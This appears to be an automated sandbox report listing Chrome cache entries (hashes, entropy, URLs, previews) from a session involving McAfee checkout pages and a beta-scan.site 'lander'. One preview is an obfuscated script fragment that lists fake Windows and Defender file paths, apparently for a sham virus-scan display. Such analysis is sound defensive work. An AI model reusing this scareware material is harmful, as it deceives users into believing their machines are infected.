File Type:	ASCII text, with very long lines (960)
Category:	downloaded
Size (bytes):	830847
Entropy (8bit):	5.470802331308291
Encrypted:	false
SSDEEP:	6144:BEMGZrp0arM86miolZ3e4Iy98O35bTNnEInFc824G4ywxladxbQU5iQV6h+NecfT:A10cd3lNqkbUP
MD5:	FF5109D9561E2976E2D38EDEACC3D2F4
SHA1:	D62403E26ACE309B06B8A4F2C30E6DA34D1AF7EE
SHA-256:	A5F819EE13ED4EA3BF71F3AA6B5C1A08752F65917148CA50485FF82F41A68EC5
SHA-512:	7DAE6C5AD652F6763B8820DC5F6F55F35BAC67B80333CCEA34A085612D5F6CA371D592AE4C23A13C97033526059FFE5189BEC2D212979835C7ED5B4A8440E633
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartvue/ipz/clientlibs/clientlib-vue-core.min.js?ver=39
Preview:	/. jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license Bootstrap v4.5.0 (https://getbootstrap.com/). Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)./.!function(b,d){"object"==typeof module&&"object"==typeof module.exports?module.exports=b.document?d(b,!0):function(a){if(!a.document)throw Error("jQuery requires a window with a document");return d(a)}:d(b)}("undefined"!=typeof window?window:this,function(b,d){function a(a,b,c){var d,B,e=(c=c\|\|ka).createElement("script");if(e.text=a,b)for(d in eb)(B=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&e.setAttribute(d,B);c.head.appendChild(e).parentNode.removeChild(e)}function e(a){return null==a?a+"":"object"==.typeof a\|\|"function"==typeof a?aa[ma.call(a)]\|\|"object":typeof a}function f(a){var b=!!a&&"length"in a&&a.length,c=e(a);return!ia(a)&&!Ia(a)&&("array"===c\|\|0===b\|\|"number"==typeof b&&0<b&

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	301102
Entropy (8bit):	5.909839607201678
Encrypted:	false
SSDEEP:	3072:750tIJ0pKi38Vy3YBmfXEZ2Ot73N4j1Pmm9m5epy35B4gmiILHOO2ALFtyDYNrSH:7UAVd2KI1T9m5Ky3D4gmiIeAXyDYNr8
MD5:	378624E0BB9183065E681DA9630FF934
SHA1:	808DBEE45BA74A22599283F9A0CC5183A28EC778
SHA-256:	018878C68459B09E8CE8F8E4A3B713CB913DDB5BC0DE9F4DED949CE79DD659E8
SHA-512:	6B882D76298AADC6EF6DBC8911981B3D04AD4FC10F12F3CB86C08CF90A1E8BAFD9881DA98C507EFC9F920F51B9D1898441BF80C3830B4F922B41F0B898888805
Malicious:	false
Reputation:	low
Preview:	(function jPCYsKwACr(){qC();function hgm(){this["vZm"]=(this["vZm"]&0xffff)0xc2b2ae35+(((this["vZm"]>>>16)0xc2b2ae35&0xffff)<<16)&0xffffffff;this.BZm=LPm;}MDm();wPm();var UA=function(){if(sC["Date"]["now"]&&typeof sC["Date"]["now"]()==='number'){return sC["Date"]["now"]();}else{return +new (sC["Date"])();}};function EWm(a){return a.length;}var EZ=function(MI,fR){return MI+fR;};var JU=function(nb,U4){return nb[DI[lI]](U4);};var Kv=function(){KP=["\x07",".43\'!e,","Rk","\rJ.(2F/[..F","i.;)37","\\. X\v4&","\b;K Z.AI.;)76^j.\r^.C.%\x3fAnZ\x07AD\f93r0Ej\x07.P.F.","F.(f!Q. ^","\tM!V..K.0.4+Xj,\nH.F.$(","B>..IC\nD","..=\x3f\t","\x00;,t",")\t._\vD","\tD\f..","gYQ\b",".I.K","r.\t.R+\x40.>6Q","+Z)R","/\n8.#\" S<r\"6.\\.g\x07,\|/%","<16!R/\f\'x","\fT.I.(1","u",".O.1.77Y+..","+=0\|/.",".\'^#..b6G..9Q","7.^-W\n(\x3f",")\f\x00e.A..J/F.\x07KNc/4\'p..\x00\\.z;95H\'F.","..2J P",".K.$/V+Q..D",".V;(D#\|..K.<;","G","L.;+.-P/","o....)a-k\fL+B..",".L./\x3fK","z\x000)..\f.N.","I.01h","#.\x00\x00","\'\x07.

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	475456
Entropy (8bit):	4.08559274373202
Encrypted:	false
SSDEEP:	3072:oKagCOdCQ1K1ErYW+026QgaGecb5Ikk7lKFVipioiV4YFtKTYdnCGWanmDQzH9br:GJI/EPg3FVMuv
MD5:	35857CE82A4C2777588CFD2CB0CD7DC5
SHA1:	9E955CE82A07AC37D1A4FAC5BAD9E31894FD4461
SHA-256:	8F0BC47A8F971F44C5E5DE6F0C36B9CC5293F3F132E56FA23546EA7289AB6A98
SHA-512:	34F19FD2568807DBFC4DC3CA068C48EC89B5056EAA9FD2A9CBD6ACB5427E6CA81F568E31981B61FFE9870CE422F9AE64AA764170D1C50A83EC062C822949323B
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="382" height="194" fill="none" xmlns:v="https://vecta.io/nano"><style><![CDATA[.B{fill:#fff}.C{fill-rule:evenodd}.D{fill:#000}.E{fill:#ef809f}.F{fill:#00acec}.G{fill:#003087}.H{fill:#009cde}.I{fill:#231f20}.J{fill:#26337a}.K{fill:#ec982d}.L{fill:#008061}.M{fill:#ed1b2d}.N{fill:#1677ff}.O{fill:#0994dd}.P{fill:#497dbb}.Q{fill:#00a2e5}.R{fill:#eb001b}.S{fill:#008c44}.T{fill:#f47920}.U{fill:#ee8202}.V{fill:#10298e}.W{fill:#0079be}.X{fill:#211e1f}.Y{fill:#2e3192}.Z{fill:#ee3124}.a{fill:#15395e}.b{color-interpolation-filters:sRGB} </style><g clip-path="url(#Y)"><g clip-path="url(#Z)"><use xlink:href="#u" class="B"/><g class="C"><g class="J"><path d="M15.655 15.826l1.231-7.633h1.967l-1.23 7.633h-1.967"/><use xlink:href="#v"/><use xlink:href="#w"/><use xlink:href="#x"/></g><use xlink:href="#y" class="K"/></g><path d="M2.18 1h33.84v-2H2.18v2zM37.2 2.18v19.651h2V2.18h-2zm-1.18 20.831H2.18v2h33.84v-2zM1 21.

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	943
Entropy (8bit):	6.524225738855889
Encrypted:	false
SSDEEP:	24:rGDc/jcaAPMm6/0VLlVhUQQ4AVeEk4HXO4ABf10jHIgPGf:rGo/jmFVLOjm16E
MD5:	F5B656151A17B47F15B9BB5258B625F4
SHA1:	72C0426BEB546603204C5564B991D6FFD69A7F8D
SHA-256:	63162E9DC56A4C015B17D2DA3E25394E23A75A9638F35489D1D0AC6E02FC449E
SHA-512:	7E935C28DE4A3C56F1CF34A7CBBAB22351D8DC085FB382E1C1BCE4C4E0132714662D178A2EF194C7372B7FA7C06DF0BC54D3E132E68CABB5EE09D07EAEF29BD1
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/amex_cvv.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@..................................... ...8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......Q...4....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......Q...4....pixi............ipma..........................iref........auxl..........mdat......hf.2..E(..(.J]...Q.u....}.u.5.h e.sL.$.1..q\..?5.\...T.,P./...........).,.C..=..4...<[......u..;/.L.+.,."u..}..ab...Z.7.$...,....#.P.X..$...Y...5.....v^c..L..Y.r.o..<1.zn...0S...3.......{.jW`.\|......hf.....2..E(..x..q....?.k......f....%..^....%.r...'@.......q/..TzP..h.(.}..<......ub..2q...!.n>.p(.F;.....\..V.q.......o@.B.y...T..9. .oS.B. .x......X.!6R.AFl.>wR..M.j]YP......../.uW..,Ft.!s...0]..Dt..E35...DN.Q.....}z...R..J......\|..(+.@L.ui$ZX....J..h........%Ft.

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	104650
Entropy (8bit):	7.997612385759036
Encrypted:	true
SSDEEP:	3072:QHUDehHt1m+wZihWpWZSwOHlTTsYBPeE+Y:5AOihWpySwOF3sY4E+Y
MD5:	9935EF4CA0AEA73E21369DFCB09CD7CF
SHA1:	91123030919F8B35A40B8A7F2070120D902C7FED
SHA-256:	EA152CE6524AC5D7CC554547AE3D62499ABDF86834CECA9FBE8F50EFF6435742
SHA-512:	94058E917BE1CE2ADE048397B3D38E47E436F989BD79640ED6DD97EC11266FCABDF7D0AC4DF6E5F65AE6709BF853828089512D5BAE18C3A16DA0701BD413F1CE
Malicious:	false
Reputation:	low
Preview:	RIFF...WEBPVP8X..............VP8 N...p...........%...j4.2.u.JS.T...x\N....g.O........E...g..U.8.....?..........z.._t...@.7..;.....%...S.../.>.~os...g.oj\|..........~W.........9....^y}_.#.+.?./.....\|y.u.7.G.w.?........?......}.....g.7.o...?...\|......../.......O.?.=o}l...s.9.........a...w.O.........U......Z.1./........7..........[....xos._....7...5.;.3.W.7..?.~..\|..........m.....)...7................i.:..T.....O.O..._..m...{.........\|.......7....~x.P+....._................?.......................h......i.......).....?.B..,.....C.xRZ..'.3d..m0.fQd.H..a...tCi..!.SIA?...."....Zcn.A...:...jP%..%U.]r@W.@..G....1.....E..eE]......U...........B...\|nox.LT.R..6..\.....Z....D.D.D.D..}..p....t....h...:}?...U.js..Ox=...GiI..'..hX..H..F1?6=...H.n.c.g............d...Z....b...AT.f..oo..^.~W.g.[Pz....h..'.6K...Bguyx....j.k.z...>..,s;..O..=!.J...+8].........W.YY...!93.P2..j...Y...>d..1..1..3c...Z..o...,...Y)...:..}f#.'X....=z...W.+35._x.[...J......e.Z.

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.800672923395278
Encrypted:	false
SSDEEP:	3:CsDi/NQlZ/lqMkAI/HyjFB0se:N+/NQlOHSjH0/
MD5:	3AE573D079DCD1D2DA4086F2C0C72C45
SHA1:	E7C9DABEC81379373476ED23168DCECB9B8C56AA
SHA-256:	9CCE08AB28E94790CF78C87E37F8690ACBC6C535E4B43AE7B38506B94538E107
SHA-512:	C1899B5E08F520B08E5F59EE380C5D108DA99F2EAF5F1EF2FE6D078A1ECF92D83E0A86B98DD1E1BAC7B3A360ACEB9975D7815FFE3416954414A85FC487B2F513
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,.............i..d......v.'..y..).G..;

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19979)
Category:	dropped
Size (bytes):	19980
Entropy (8bit):	5.387971382825148
Encrypted:	false
SSDEEP:	192:YPVTvPo1vdZqBO4FDUnXxjxT2gPfWrGO7Pb0YrsmqAchfThiVI3bqJ00CwgmA2+k:YlvAuoz47D0Y1dVIrqQ/876toZqFOSy
MD5:	C6952D8848DE8ED29913A09F07F31CCA
SHA1:	3528EE7EFA73934219AC371496BAA50DCA2D1D07
SHA-256:	FD01C2D5A3B14F52BE370FBF74257036A7888568FF2CB07E303A6DFC30A578BC
SHA-512:	53A28DF00E2187800E5C5FD607FE5C40E1ACCF793D4691FBC75568D0D02C625C3ED83904DB5C44D861913EE8FC0B9568356EC86EAB1BAD625357FE8714114154
Malicious:	false
Reputation:	low
Preview:	function _0x46ba(_0x3bee7e,_0x3977e1){var _0x259250=_0x2592();return _0x46ba=function(_0x46ba6d,_0x15e3df){_0x46ba6d=_0x46ba6d-0x147;var _0x1766b1=_0x259250[_0x46ba6d];return _0x1766b1;},_0x46ba(_0x3bee7e,_0x3977e1);}function _0x2592(){var _0x16d7b4=['C:MicrosoftSoft.ECApp_8wekyLitDapi.exe','C:SetupShellExperienceHostMbaex.dat','C:Win32WaaSxSMbaex.dat','#cont','.overflov','.three','C:Program\x20FilesWindows\x20Defendermib4.bin','20px','bottom','C:Program\x20FilesWindows\x20Defendersplwow64.exe','.tab','color','.fly_5','C:Win32WaaSxSMCP.dll','C:Program\x20FilesWindows\x20Defendergxrell.lrc','transition','.scan-line','C:SusWOW64WINigxrell.lrc','.tsrra','C:SetupShellExperienceHostMCP.dll','C:WebTwain32con.dll','C:SetupShellExperienceHostcon.dll','C:Windows.StaMenuEx_cw5n1h2LitDapi.exe','C:Win32WaaSxSLitDapi.exe','C:Program\x20FilesWindows\x20Defenderkgdh.exe','.four','C:WindowsAppsSystemLitDapi.exe','C:SetupShellExperienceHostyhcan.dll','.fly_1','C:WindowsSystem32Kdscli.dll','readyState',

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	3.9171598404979675
Encrypted:	false
SSDEEP:	24:0nHjGmI5zhVPwMRLMZVgiPMD7Xo/21Zd6zxiPnO9q0zOj:0HjIHJrQX1eTLjOWj
MD5:	FF7441C3264D89023F376E5319DAD793
SHA1:	1F0BE835D947EB2DE35D945EA5B9B92578A8CBD7
SHA-256:	93130759A18703DCAD5862BC2FD2973EDF9AB7E48BA2C0B4CD4FCFAF832DF223
SHA-512:	B51514AAEC63C9959575BFE4FCF91AE5EE784340D32966816FD932923A5E1707498D202523A4ABFDC0B72702C54FF85778C80E9A11BC2BC0BD339533BC19510D
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/favicon.ico
Preview:	............ .h.......(....... ..... .................................................'!.O%!....w...o]..t.................................& ..&!.s& ..'!..%!....w...p...u...t...t.................&!..&!.{& ..&!..& ..'!..%!....v...p...u...t...t...t...u.........& ..&!..& ..& ..% ..'!..% .?..x1..o...t...u...t...u...t.........&!..& ..& ..& ..&!.T..................uD..u...u...u...u.........&!..&!..& ..&!................................t...u...t.........&!..& ..& ..&!................................u...t...t.........& ..& ..&!..& ................................u...u...t.........& ..& ..& ..& ................................u...u...u.........& ..& ..& ..&!..........%!.L..wX..............u...t...u.........&!..& ..& ......&!.&'!.%!....w...p...t?......t...t...u.........&!..& ..&!..& ..&!..'!..%!....w...p...u...u...u...t...u.........&!..& ..& ..&!..&!..'!..%!....w...p...u...u...u...u...u.........& ..& ..&!..&!..& ..'!.h..........oZ..t...t...t...t...u.........&!..& ..& ..&!.e& ....................

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22367), with no line terminators
Category:	downloaded
Size (bytes):	22367
Entropy (8bit):	5.542626302580642
Encrypted:	false
SSDEEP:	384:gM78SUevMTjuFzouWaqWAlpTpdHjPtcnG:p7oevMX5HjPwG
MD5:	B0B46B807EEE39AF0AAD8F5FEFC9B3A2
SHA1:	0FB04F15599BC0844063A6AB776C86E73CB9FBFC
SHA-256:	71CA2652E2B3FFD3C0EC966958604714CE6C7AF01D961B44ADC438518EB58CB3
SHA-512:	4EEC49904A5480940124A1C1B9C9DAE764EBB115829CBCE4356E66A1D7F077DFD204A4634B0622FFB14CC6EBFF7062D7F30502BF0BC7D998A1A55FC8C876DA8E
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/translate_http/_/ss/k=translate_http.tr.26tY-h6gH9w.L.W.O/am=YDA/d=0/rs=AN8SPfo2purg3MUBXTtjVeO_sPDrV4tGQA/m=el_main_css
Preview:	.VIpgJd-ZVi9od-ORHb-OEVmcd{left:0;top:0;height:39px;width:100%;z-index:10000001;position:fixed;border:none;border-bottom:1px solid #6B90DA;margin:0;box-shadow:0 0 8px 1px #999}.VIpgJd-ZVi9od-xl07Ob-OEVmcd{z-index:10000002;border:none;position:fixed;box-shadow:0 3px 8px 2px #999}.VIpgJd-ZVi9od-SmfZ-OEVmcd{z-index:10000000;border:none;margin:0}.goog-te-gadget{font-family:arial;font-size:11px;color:#666;white-space:nowrap}.goog-te-gadget img{vertical-align:middle;border:none}.goog-te-gadget-simple{background-color:#FFF;border-left:1px solid #D5D5D5;border-top:1px solid #9B9B9B;border-bottom:1px solid #E8E8E8;border-right:1px solid #D5D5D5;font-size:10pt;display:inline-block;padding-top:1px;padding-bottom:2px;cursor:pointer}.goog-te-gadget-icon{margin-left:2px;margin-right:2px;width:19px;height:19px;border:none;vertical-align:middle}.goog-te-combo{margin-left:4px;margin-right:4px;vertical-align:baseline}.goog-te-gadget .goog-te-combo{margin:4px 0}.VIpgJd-ZVi9od-l4eHX-hSRGPd,.VIpgJd-ZVi9od-

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	30328
Entropy (8bit):	3.663461882867988
Encrypted:	false
SSDEEP:	192:STvohNZo/O8HniPVcLUcizrTvoUNZo/O8HniPVcLUciT:Goh/8CPCLYznoU/8CPCLYT
MD5:	C03E1DA7F3C40AF33A117DC869FBB1AF
SHA1:	97CA127397C88DBEFE5859452311BF28E90ADE5D
SHA-256:	301F62F5421CC8F7AD0CFD70C257D4A7983BFC49C0CE8CDD99204BBA72B2F79D
SHA-512:	29B4A178B69370FA420132BD0720BAE52D7BFC6F0706F08CB03A2D6FE823DC7E3A673141CC17CA4CC0C3809354D155F5844F23AA57FFE281047EEFFB52BE791D
Malicious:	false
Reputation:	low
Preview:	// API callback.callback({. "sourceLanguages": [. {. "language": "auto",. "name": "Detect language". },. {. "language": "ab",. "name": "Abkhaz". },. {. "language": "ace",. "name": "Acehnese". },. {. "language": "ach",. "name": "Acholi". },. {. "language": "aa",. "name": "Afar". },. {. "language": "af",. "name": "Afrikaans". },. {. "language": "sq",. "name": "Albanian". },. {. "language": "alz",. "name": "Alur". },. {. "language": "am",. "name": "Amharic". },. {. "language": "ar",. "name": "Arabic". },. {. "language": "hy",. "name": "Armenian". },. {. "language": "as",. "name": "Assamese". },. {. "language": "av",. "name": "Avar". },. {. "language": "awa",. "name": "Awadhi". },. {. "language": "ay",. "name": "Aymara". },. {. "language": "az",

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4537
Entropy (8bit):	4.913441567863892
Encrypted:	false
SSDEEP:	96:sElG5dAYTBUXec2W3+ceFw312Y2M65A1Aws4:scGnAYA2W3rQLsr
MD5:	FD1945DDAE6F0FF107BB8F7BC937B049
SHA1:	7D770E9BA498AD670B909E7CEE3A8F4ED6A5B3B6
SHA-256:	172B28A836DE467C33540CAA978CA96D5ABF05A13B9E81711747245B788FB693
SHA-512:	6D1EF5D9E2C45D88DA0DC059608FF609F62A5D3C59A890592448A25E22726C8D9F8500D009CB12B787F9A3853DFA7F0CE3CE8733D6ADFE3DA2051FFF98A8B380
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/experience-fragments/shopping-cart/en-us/ipz/feyncart/checkout/checkout/master/_jcr_content/root/section_1820250137/main_section_content/cardsection_copy/card_0/card_img.coreimg.svg/1725439658488.svg
Preview:	<svg width="31" height="31" viewBox="0 0 31 31" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M16.3248 0.795012L16.0281 0.702873L15.7315 0.795012L3.52758 4.58572L2.82422 4.8042V5.54071V8.5H4.82422V6.27723L16.0281 2.79713L27.232 6.27723V8.5H29.232V5.54071V4.8042L28.5287 4.58572L16.3248 0.795012ZM29.1818 22.375H27.1352C26.9723 22.9092 26.6121 23.3716 26.1144 23.6584L18.5246 28.0322C16.9794 28.9226 15.0769 28.9226 13.5316 28.0322L5.94188 23.6584C5.44417 23.3716 5.08394 22.9092 4.92111 22.375H2.87445C3.06961 23.6303 3.82265 24.7455 4.94328 25.3912L12.533 29.765C14.6963 31.0117 17.3599 31.0117 19.5232 29.765L27.113 25.3912C28.2336 24.7455 28.9867 23.6303 29.1818 22.375Z" fill="url(#paint0_linear_100_2132)"/>.<path d="M5.86938 20.9615H4.10516V13.8746C4.10516 13.0288 4.12518 12.3582 4.16522 11.8627C4.05011 11.9828 3.90747 12.1154 3.7373 12.2606C3.57214 12.4057 3.0116 12.8661 2.05566 13.6419L1.1698 12.5233L4.39795 9.98584H5.86938V20.9615Z" fil

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.544876086303667
Encrypted:	false
SSDEEP:	3:YVMCT+dVjjHMIdROMrfW9:Yn+3HMI3OCw
MD5:	4E87B105024C11BDBBE2F5F1E47F46D0
SHA1:	E3E260C4C8CB0465FDCFB5B49CC7D53E4598FBBB
SHA-256:	C450A37D9D6D6CEC533F7B57FAD32149780A70796536B87CE05CCB87A2CF18DE
SHA-512:	D36D96416A2ACB29095F865FCBD3BDC95F33A76CA18EB02069EF1C0097D5A14889021E888B951B8575966FADBD337D281B92C3BBDE15E61D42F5AC902F7691E3
Malicious:	false
Reputation:	low
Preview:	{"pixelId":10180750,"use1stPartyCookies":true}

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	249
Entropy (8bit):	4.994994411267914
Encrypted:	false
SSDEEP:	6:tnrsn1Urumc4slLIKN5cXFB/NfrgcXF+l393aM4ZKfC:trI1Qu7+B/5rrcFal0q
MD5:	EF5D7F4CBE7EBA7BDC37896C05BA8F11
SHA1:	6F489174ED31D380DFD0DB3EEF470EE3F7DF8209
SHA-256:	F05E5DE6E76887A5533B2E901AC4CF6F2BE6C8C5C0EF6B3F70D2178AB26286B0
SHA-512:	46AA8A9D8EDA13801F1E266CC39F8FEF55F5C61FA3D79F4DFCFD4FD972CF37848452A01BC10D37F62413EAC05F4B8FF4BADF2B828AB223D140B0A221F1652F19
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/images/alert-danger-close.svg
Preview:	<svg width="19" height="18" viewBox="0 0 19 18" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="ic_close">.<path id="Vector" d="M2.69922 2.19922L16.2992 15.7992M2.69922 15.7992L16.2992 2.19922" stroke="#C01818" stroke-width="2"/>.</g>.</svg>.

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1137
Entropy (8bit):	6.403250350745772
Encrypted:	false
SSDEEP:	24:X1hzVWwjx82lY2T3FV1nO7OyJ3VzPFGOkwBjovUd1:lJwNn2xjMJ3jGBUd1
MD5:	D4D69630DE198F952456BD95946CFF99
SHA1:	63666FC0C400AF0789069BCF8FB5EC3092E3C7B5
SHA-256:	3BC79B2B43C6496E7BE7EA2CC22838C9E14BD7D4AB27D049D8A01A6423607E87
SHA-512:	3A834EBD073EE3D2A01292915EA5C2234219EB3757EBAF850895394F570F8D5C069DD7D0143FDC98EC67B216E010FB4627E0C2817486000097E399DF4F69E3CC
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/icon_1.png
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:21087E07EA7C11EDADE5AAFBF06C6F1F" xmpMM:DocumentID="xmp.did:21087E08EA7C11EDADE5AAFBF06C6F1F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21087E05EA7C11EDADE5AAFBF06C6F1F" stRef:documentID="xmp.did:21087E06EA7C11EDADE5AAFBF06C6F1F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..4(....IDATx...A..0...f:.E7.=.......+....F........J..#t..).``...L.....XBH.. ..B.!..B.!..B.!..B.!..B.!..B.!..B.!.CC..s

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 358 x 365
Category:	downloaded
Size (bytes):	22936
Entropy (8bit):	7.9627830442526815
Encrypted:	false
SSDEEP:	384:815AmMaRm39isQO+oNsrvkFJUuanrYqRg5xA1f7p:GA4m39isQfaiuWr1Mxc1
MD5:	57B6998D552273A35D8FD9F950E84D06
SHA1:	FCF50CDD3E038C93E3543C7CEEF47826E7A3B4B8
SHA-256:	01C46CE5674078BE723E1C031899EE1C063C79F8EB364D11D80141EB683F7B84
SHA-512:	68BE50C7A604AA3B9FC7E262933B56CD75EC741871DADDD2953938E07D0341333E7F09C67524B125E5D2321D168302F79B2179A49C664BD333080FC97C4E88CE
Malicious:	false
Reputation:	low
URL:	https://prod.upsellit.com/chatskins/5948/Shield50_355X365_white.gif
Preview:	GIF89af.m............<..S....Z.....5..(.........(D........-..C...Z....\|...1.L8.QQ.mm..I.h*&....A..L..E.3>....U+d.....\.......k..!./n.U.....Onll..r).I+........E3.Jz.%%.95..W..K..P..U..^.....D.gm.%4..=.S2..9.8-.;;........8.+/......t...I..S.w#....@<.k..oL....e/.p..0.i%..3..?.z...U....S.\|..=e..J.;...{.l.....aZ..E..P.](.[..._.{D..H..Y..F.."..9..N..H.]0..:..I.(~..C../.E]..S..P..N.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b8b7ef75-5ce0-489e-8e2b-0dbbdc867acf" xmpMM:DocumentID="xmp.did:9E3849D6AB2411ECB06FA46BA75114A9" xmpMM:InstanceID="xmp.iid:9E38

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64718), with CRLF line terminators
Category:	dropped
Size (bytes):	78267
Entropy (8bit):	5.274897090805538
Encrypted:	false
SSDEEP:	1536:mowkRqpOjneNV9BAdxANDq313CIT4htQpv:moHMpadCDqxn
MD5:	B411E8D48675B2997B8D5972E50B996B
